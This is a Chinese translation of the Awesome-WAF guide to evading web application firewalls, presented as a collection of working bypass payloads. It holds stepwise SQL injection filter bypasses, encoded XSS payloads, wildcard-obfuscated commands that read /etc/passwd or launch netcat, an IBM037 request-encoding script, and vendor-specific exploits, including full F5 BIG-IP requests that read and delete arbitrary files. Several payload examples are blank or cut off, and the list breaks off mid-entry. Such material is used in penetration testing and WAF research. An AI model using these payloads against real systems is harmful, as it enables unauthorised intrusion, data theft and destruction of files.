Awesome WAF 中文翻译、各种绕过手法

翻译文

https://github.com/0xInfection/Awesome-WAF

绕过手法

fuzz/爆破

  • 字典
    • Seclists/Fuzzing.
    • Fuzz-DB/Attack
    • Other Payloads 可能会被ban ip,小心为妙。

正则绕过

多少waf 使用正则匹配。

黑名单检测/bypass

Case: SQL 注入

• Step 1:

过滤关键词: and, or, union
可能正则: preg_match('/(and|or|union)/i', $id)

  • 被拦截的语句: union select user, password from users
  • bypass语句: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

过滤关键词: and, or, union, where

  • 被拦截的语句: 1 || (select user from users where user_id = 1) = 'admin'
  • bypass语句: 1 || (select user from users limit 1) = 'admin'

• Step 3:

过滤关键词: and, or, union, where, limit

  • 被拦截的语句: 1 || (select user from users limit 1) = 'admin'
  • bypass语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

过滤关键词: and, or, union, where, limit, group by

  • 被拦截的语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • bypass语句: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

过滤关键词: and, or, union, where, limit, group by, select

  • 被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • bypass语句: 1 || 1 = 1 into outfile 'result.txt'
  • bypass语句: 1 || substr(user,1,1) = 'a'

• Step 6:

过滤关键词: and, or, union, where, limit, group by, select, '

  • 被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • bypass语句: 1 || user_id is not null
  • bypass语句: 1 || substr(user,1,1) = 0x61
  • bypass语句: 1 || substr(user,1,1) = unhex(61)

• Step 7:

过滤关键词: and, or, union, where, limit, group by, select, ', hex

  • 被拦截的语句: 1 || substr(user,1,1) = unhex(61)
  • bypass语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr

  • 被拦截的语句: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • bypass语句: 1 || lpad(user,7,1)

• Step 9:

过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr, white space

  • 被拦截的语句: 1 || lpad(user,7,1)
  • bypass语句: 1%0b||%0blpad(user,7,1)

混淆 编码

1. 大小写

标准:
Bypassed:

标准: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL 编码

被阻断语句:
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

被阻断语句: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode 编码

标准:
混淆:

被阻断语句: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode 替代)

被阻断语句: x
Bypassed: <marquee loop=1 onfinish=alert︵1)>x (Unicode 替代)

TIP: 查看这些说明 this and this reports on HackerOne. :)

4. HTML 实体编码

标准: ">
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)

5. 混合编码

  • Sometimes, WAF rules often tend to filter out a specific type of encoding.
  • This type of filters can be bypassed by mixed encoding payloads.
  • Tabs and newlines further add to obfuscation.

混淆:

XSS

7. 双重URL编码

  • 这个需要服务端多次解析了url编码

标准: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
混淆: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

标准:
混淆: %253Cscript%253Ealert()%253C%252Fscript%253E

8. 通配符使用

  • 用于linux命令语句注入,通过shell通配符绕过

标准: /bin/cat /etc/passwd
混淆: /???/??t /???/??ss??
Used chars: / ? t s

标准: /bin/nc 127.0.0.1 1337
混淆: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. 动态payload 生成

标准:
混淆:

标准: /bin/cat /etc/passwd
混淆: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

标准:
混淆:


13. Token Breakers(翻译不了 看起来说的就是sql注入闭合)

  • Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
  • Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
  • However, the request must still remain valid while using token-breakers.

  • Case: Unknown Token for the Tokenizer
    • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
  • Case: Unknown Context for the Parser (Notice the uncontexted bracket)
    • Payload 1: ?id=123);DROP TABLE users --
    • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

TIP: 更多payload可以看这里 cheat sheet.

14. 其他格式混淆

  • 许多web应用程序支持不同的编码类型(如下表)
  • 混淆成服务器可解析、waf不可解析的编码类型

Case: IIS

  • IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符
  • 可以发送编码后的参数名和值

原始请求:

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--

混淆请求 + URL Encoding:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

The following table shows the support of different character encodings on the tested systems (when messages could be 混淆 using them):

TIP: 可以使用 这个小脚本 来转化编码

import urllib.parse, sys
from argparse import ArgumentParser
lackofart = '''
        OBFUSCATOR
'''

def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
    result = ""
    equalSign = "="
    ampersand = "&"
    if '=' and '&' in params:
        if encodeEqualSign:
            equalSign = equalSign.encode(charset)
        if encodeAmpersand:
            ampersand = ampersand.encode(charset)
        params_list = params.split("&")
        for param_pair in params_list:
            param, value = param_pair.split("=")
            if urlDecodeInput:
                param = urllib.parse.unquote(param)
                value = urllib.parse.unquote(value)
            param = param.encode(charset)
            value = value.encode(charset)
            if urlEncodeOutput:
                param = urllib.parse.quote_plus(param)
                value = urllib.parse.quote_plus(value)
            if result:
                result += ampersand
            result += param + equalSign + value
    else:
        if urlDecodeInput:
            params = urllib.parse.unquote(params)
        result = params.encode(charset)
        if urlEncodeOutput:
            result = urllib.parse.quote_plus(result)
    return result

def main():
    print(lackofart)
    parser = ArgumentParser('python3 obfu.py')
    parser._action_groups.pop()

    # A simple hack to have required arguments and optional arguments separately
    required = parser.add_argument_group('Required Arguments')
    optional = parser.add_argument_group('Optional Arguments')

    # Required Options
    required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
    required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')

    # Optional Arguments (main stuff and necessary)
    optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
    optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
    args = parser.parse_args()
    if not len(sys.argv) > 1:
        parser.print_help()
        quit()
    print('Input: %s' % (args.str))
    print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))

if __name__ == '__main__':
    main()
服务器信息 可用编码 说明
Nginx, uWSGI-Django-Python3 IBM037, IBM500, cp875, IBM1026, IBM273 对参数名和参数值进行编码
服务器会对参数名和参数值均进行url解码
需要对等号和& and进行编码(不进行url编码)
Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 对参数名和参数值进行便慢慢
服务器会对参数名和参数值均进行url解码
等号和&符号不应该以任何方式编码。
Apache-TOMCAT8-JVM1.8-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
Apache-TOMCAT7-JVM1.6-JSP IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码
IIS6, 7.5, 8, 10 -ASPX (v4.x) IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 参数名按原始格式(可以像往常一样使用url编码)
Body 不论是否经过url编码均可
等号和&符号不应该以任何方式编码

HTTP 参数污染

手法

  • 这种攻击方法基于服务器如何解释具有相同名称的参数
  • 可能造成bypass的情况:
    • 服务器使用最后接收到的参数,WAF只检查第一个参数
    • 服务器将来自类似参数的值联合起来,WAF单独检查它们

下面是相关服务器对参数解释的比较

环境 参数解析 示例
ASP/IIS 用逗号连接 par1=val1,val2
JSP, Servlet/Apache Tomcat 第一个参数是结果 par1=val1
ASP.NET/IIS 用逗号连接 par1=val1,val2
PHP/Zeus 最后一个参数是结果 par1=val2
PHP/Apache 最后一个参数是结果 par1=val2
JSP, Servlet/Jetty 第一个参数是结果 par1=val1
IBM Lotus Domino 第一个参数是结果 par1=val1
IBM HTTP Server 最后一个参数是结果 par1=val2
mod_perl, libapeq2/Apache 第一个参数是结果 par1=val1
Oracle Application Server 10G 第一个参数是结果 par1=val1
Perl CGI/Apache 第一个参数是结果 par1=val1
Python/Zope 第一个参数是结果 par1=val1
IceWarp 返回一个列表 [‘val1’,’val2’]
AXIS 2400 最后一个参数是结果 par1=val2
DBMan 由两个波浪号连接起来 par1=val1~~val2
mod-wsgi (Python)/Apache 返回一个列表 ARRAY(0x8b9058c)

浏览器 Bugs:

Charset Bugs:

  • 可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32)
  • 当网站解码的时候,触发payload

Example request:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5<
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

当站点加载时,将其编码为我们设置的UTF-32编码,然后由于页面的输出编码为UTF-8,将其呈现为:"

  • Case: SQLi
    SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
    1%0b||%0bLPAD(USER,7,1)
    

    可以使用许多替代原生JavaScript的方法:

  • JSFuck
  • JJEncode
  • XChars.JS
  • 滥用SSL/TLS密码:

    • 很多时候,服务器可以接收各种SSL/TLS密码和版本的连接。
    • 初始化到waf不支持的版本

    • 找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。
    • 找出服务器支持的密码(SSLScan这种工具可以帮助到你)。
    • 找出服务器支持但waf不支持的

    Tool: abuse-ssl-bypass-waf

    滥用 DNS 记录:

    • 找到云waf后的源站

    TIP: 一些在线资源 IP History 和 DNS Trails

    Tool: bypass-firewalls-by-DNS-history

    bash bypass-firewalls-by-DNS-history.sh -d  --checkall
    

    请求头欺骗

    • 让waf以为请求来自于内部网络,进而不对其进行过滤。

    添加如下请求头

    X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Client-IP: 127.0.0.1
    

    Google Dorks Approach:

    • 应对已知waf的绕过

    搜索语法

    • Normal search:
      + waf bypass

    • Searching for specific version exploits:
      " " (bypass|exploit)

    • For specific type bypass exploits:
      "" + (bypass|exploit)

    • On Exploit DB:
      site:exploit-db.com + bypass

    • On 0Day Inject0r DB:
      site:0day.today + (bypass|exploit)

    • On Twitter:
      site:twitter.com + bypass

    • On Pastebin
      site:pastebin.com + bypass

    已知的bypass:

    Airlock Ergon

    • SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
      %C0%80'+union+select+col1,col2,col3+from+table+--+
      

    AWS

    • SQLi Bypass by @enkaskal
      "; select * from TARGET_TABLE --
      
    • XSS Bypass by @kmkz
      : aa
      Keep-Alive: 300
      
      • R-XSS Bypass by @WAFNinja
      
      
      
      
      • XSS Bypass by @0xInfection

      alert dragme

      • GET - XSS Bypass (v4.02) by @DavidK
      /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
      
      
      
      • POST - XSS Bypass (v4.02) by @DavidK
      
      
      • clave XSS (v4.02) by @DavidK
      /?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ 
      

      Fortinet Fortiweb

      • pcre_expression unvaidated XSS by @Benjamin Mejri
      /waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
      /waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 
      
      • CSP Bypass by @Binar10

      POST Type Query

      POST //login-app.aspx HTTP/1.1
      Host: 
      User-Agent: 
      Accept-Encoding: gzip, deflate
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 
      
      var1=datavar1&var2=datavar12&pad=
      

      GET Type Query

      http:///path?var1=vardata1&var2=vardata2&pad=
      

      F5 ASM

      • XSS Bypass by @WAFNinja
      "/>a

      F5 BIG-IP

      • XSS Bypass by @WAFNinja
      
      
      Right-Click Here
      Right-Click Here
      • XSS Bypass by @Aatif Khan
      
      
      Right-Click Herehttps://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
      • POST Based XXE by @Anonymous
      POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
      Host: bigip
      Cookie: BIGIPAuthCookie=*VALID_COOKIE*
      Content-Length: 143
      
      
       ]>
      &e;
      
      • Directory Traversal by @Anastasios Monachos

      Read Arbitrary File

      /tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
      

      Delete Arbitrary File

      POST /tmui/Control/form HTTP/1.1
      Host: site.com
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: en-US,en;q=0.5
      Accept-Encoding: gzip, deflate
      Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
      Content-Type: application/x-www-form-urlencoded
      
      _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
      

      F5 FirePass

      • SQLi Bypass from @Anonymous
      state=%2527+and+
      (case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
      BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ 
      

      ModSecurity

      • RCE Payloads Detection Bypass for PL3 by @theMiddle (v3.1)
      ;+$u+cat+/etc$u/passwd$u
      
      • RCE Payloads Detection Bypass for PL2 by @theMiddle (v3.1)
      ;+$u+cat+/etc$u/passwd+\#
      
      • RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)
      /???/??t+/???/??ss??
      
      • RCE Payloads for PL3 by @theMiddle (v3.0)
      /?in/cat+/et?/passw?
      
      • SQLi Bypass by @Johannes Dahse (v2.2)
      0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
      
      • SQLi Bypass by @Yuri Goltsev (v2.2)
      1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
      
      • SQLi Bypass by @Ahmad Maulana (v2.2)
      1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
      
      • SQLi Bypass by @Travis Lee (v2.2)
      amUserId=1 union select username,password,3,4 from users
      
      • SQLi Bypass by @Roberto Salgado (v2.2)
      %0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
      
      • SQLi Bypass by @Georgi Geshev (v2.2)
      1%0bAND(SELECT%0b1%20FROM%20mysql.x)
      
      • SQLi Bypass by @SQLMap Devs (v2.2)
      %40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
      
      • SQLi Bypass by @HackPlayers (v2.2)
      %0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
      

      Imperva

      • Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar
      • XSS Bypass by @David Y
      
      
      • XSS Bypass by @Emad Shanab
      
      anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
      
      • XSS Bypass by @WAFNinja
      %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
      
      • XSS Bypass by @i_bo0om